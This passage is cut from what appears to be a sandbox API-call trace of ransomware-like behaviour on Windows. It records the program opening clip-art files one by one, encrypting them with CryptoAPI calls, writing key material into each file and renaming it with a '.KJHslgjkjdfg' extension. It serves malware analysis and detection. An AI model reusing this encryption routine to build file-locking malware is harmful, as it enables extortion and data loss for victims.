lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1c40, lpOverlapped=0x0) returned 1 [0205.104] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c40, dwBufLen=0x1c40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c40) returned 1 [0205.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.105] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1c40, lpOverlapped=0x0) returned 1 [0205.105] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1d14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.105] SetEndOfFile (hFile=0x130) returned 1 [0205.107] GetProcessHeap () returned 0x2ef0000 [0205.108] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.108] GetProcessHeap () returned 0x2ef0000 [0205.108] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.108] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf.kjhslgjkjdfg")) returned 1 [0205.109] CloseHandle (hObject=0x130) returned 1 [0205.109] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239953.WMF", cAlternateFileName="")) returned 1 [0205.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.110] GetProcessHeap () returned 0x2ef0000 [0205.110] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.110] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.110] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.110] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.112] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.112] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.112] GetProcessHeap () returned 0x2ef0000 [0205.113] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.113] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.113] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.113] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.113] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.113] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.113] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.113] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.113] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.113] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.113] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.113] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.113] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1bc8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1bc8, lpOverlapped=0x0) returned 1 [0205.114] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1bd0, dwBufLen=0x1bd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1bd0) returned 1 [0205.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.114] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1bd0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1bd0, lpOverlapped=0x0) returned 1 [0205.114] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.115] SetEndOfFile (hFile=0x130) returned 1 [0205.117] GetProcessHeap () returned 0x2ef0000 [0205.117] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.117] GetProcessHeap () returned 0x2ef0000 [0205.117] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.117] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf.kjhslgjkjdfg")) returned 1 [0205.119] CloseHandle (hObject=0x130) returned 1 [0205.119] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1348, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239955.WMF", cAlternateFileName="")) returned 1 [0205.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.121] GetProcessHeap () returned 0x2ef0000 [0205.121] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.121] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.121] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.121] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.123] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.123] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.123] GetProcessHeap () returned 0x2ef0000 [0205.123] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.123] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.123] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.123] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.123] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.123] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.124] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.124] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.124] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.124] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.124] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.124] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.124] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1348, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1348, lpOverlapped=0x0) returned 1 [0205.125] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1350, dwBufLen=0x1350 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1350) returned 1 [0205.125] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.125] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1350, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1350, lpOverlapped=0x0) returned 1 [0205.125] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.125] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.126] SetEndOfFile (hFile=0x130) returned 1 [0205.128] GetProcessHeap () returned 0x2ef0000 [0205.128] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.128] GetProcessHeap () returned 0x2ef0000 [0205.128] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.128] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf.kjhslgjkjdfg")) returned 1 [0205.130] CloseHandle (hObject=0x130) returned 1 [0205.130] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1720, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239965.WMF", cAlternateFileName="")) returned 1 [0205.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.131] GetProcessHeap () returned 0x2ef0000 [0205.131] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.132] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.132] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.132] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.132] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.132] GetProcessHeap () returned 0x2ef0000 [0205.132] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.132] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.132] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.132] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.134] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.135] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.135] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.135] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.135] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.135] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.135] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.135] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.135] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1720, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1720, lpOverlapped=0x0) returned 1 [0205.136] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1720, dwBufLen=0x1720 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1720) returned 1 [0205.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.136] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1720, lpOverlapped=0x0) returned 1 [0205.137] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.137] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.137] SetEndOfFile (hFile=0x130) returned 1 [0205.139] GetProcessHeap () returned 0x2ef0000 [0205.139] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.140] GetProcessHeap () returned 0x2ef0000 [0205.140] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.140] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf.kjhslgjkjdfg")) returned 1 [0205.141] CloseHandle (hObject=0x130) returned 1 [0205.141] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x154c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239967.WMF", cAlternateFileName="")) returned 1 [0205.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.142] GetProcessHeap () returned 0x2ef0000 [0205.142] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.142] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.143] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.143] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.145] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.145] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.145] GetProcessHeap () returned 0x2ef0000 [0205.145] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.145] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.145] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.145] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.145] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.146] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.146] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.146] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.146] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.146] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.146] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.146] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.146] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x154c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x154c, lpOverlapped=0x0) returned 1 [0205.147] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1550, dwBufLen=0x1550 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1550) returned 1 [0205.147] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.147] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1550, lpOverlapped=0x0) returned 1 [0205.147] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.147] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.148] SetEndOfFile (hFile=0x130) returned 1 [0205.150] GetProcessHeap () returned 0x2ef0000 [0205.150] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.151] GetProcessHeap () returned 0x2ef0000 [0205.151] HeapFree (in: hHeap=0x2ef0000, 